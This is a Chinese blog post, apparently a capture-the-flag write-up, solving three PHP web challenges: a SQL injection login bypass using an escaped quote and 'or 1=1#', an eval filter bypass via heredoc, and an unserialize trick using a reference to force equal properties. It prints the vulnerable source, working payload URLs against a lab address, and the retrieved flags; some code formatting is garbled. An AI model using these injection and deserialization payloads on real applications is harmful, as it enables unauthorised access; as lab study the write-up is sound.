一次ctf题(1)

题目一:

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

传参username和password对数据库做查询

$str=stripslashes($str);

输入字符会把‘ 或者“ 转换为html实体,无法闭合源码中的’。

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';

使用转义符\,使‘失效闭合name=’的语句,使pass后面的值为真。

select * from users where name ='admin\' and pass ='or 1=1#'

[http://10.196.8.21:18001/challenge18.php?username=admin &password=or 1=1%23](http://10.196.8.21:18001/challenge18.php?username=admin &password=or 1=1%23)

注入后就获得值

Connected to Database!Hello root
Your password is:2eb15de99ded49fb714981afb3dae1eb615a3162

题目二:

$f = $_GET['eval'];        
	$f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f);
        if((strlen($f) > 13) || (false !== stripos($f, 'return')))

传入参数为eval,然后用str_replace过滤,并且要求长度小于13,不能包含return

 #return ($spaceone === '1337');
		if($spaceone === '1337')
			echo "FLAG{xxx}";

然后执行eval,让spaceone==='1337' 返回ture。

str_replace 过滤了单双引号,直接传eval='1337'不行,过滤后会变成soaceone=1337 不等

可以用heredoc构造绕过单引号

  1. 使用操作符“ <<<”
  2. 操作符后紧跟标识符(开始标识符),之后重起新的一行输入要引用的字符串,可以包含变量。
  3. 新的一行,顶格写结束表示符,以分号结束。例如```php <?php

?eval=<<<s%0a1337%0as;%0a

FLAG{5a38989fe3a5274341f74f6415b99b9bb8e4dde9}

题目三:

<?php
class just4fun {
    var $enter;
    var $secret;
}

if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];

    if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }

    $o = unserialize($pass);

    if ($o) {
        $o->secret = "FLAG{xxx}";
        if ($o->secret === $o->enter)
            echo "Congratulation! Here is my secret: ".$o->secret;
        else 
            echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
}
?>

1,声明了一个类,这个类里面包含有$enter$secret两个成员,先把传入的\(pass参数反序列化,并传参给\)o。如果$o->secret === $o->enter,那么久输出所谓的秘密,也就是o->secret。

2,首先获取我们传入的参数,进行反序列化;给\(o中的secret赋值;比较\)o->secret和$o->enter是否相等。注意这里是 '==='。

3,在 PHP 中普通的传值赋值行为有个例外就是碰到对象 object 时,在 PHP 5 中是以引用赋值的,除非明确使用了 clone 关键字来拷贝,PHP 支持引用赋值,使用“\(var = &\)othervar;”语法。引用赋值意味着两个变量指向了同一个数据,没有拷贝任何东西。

4,知道上面所说的,我们就可以把上面的代码改一下了:`enter = &\(o->secret; //这里是重点。我们使用引用传参的特点,让\)o->secret的值和\(o->enter的值,这样两个变量就永远相等了 echo serialize(\)o); ?>

5,序列化字符串为: O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

?pass=O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

Congratulation! Here is my secret: FLAG{8818d37a24b4921c2d26fb313cd27a6a2c65a37a}

posted @ 2022-06-13 09:32  Rlins  阅读(89)  评论(0)    收藏  举报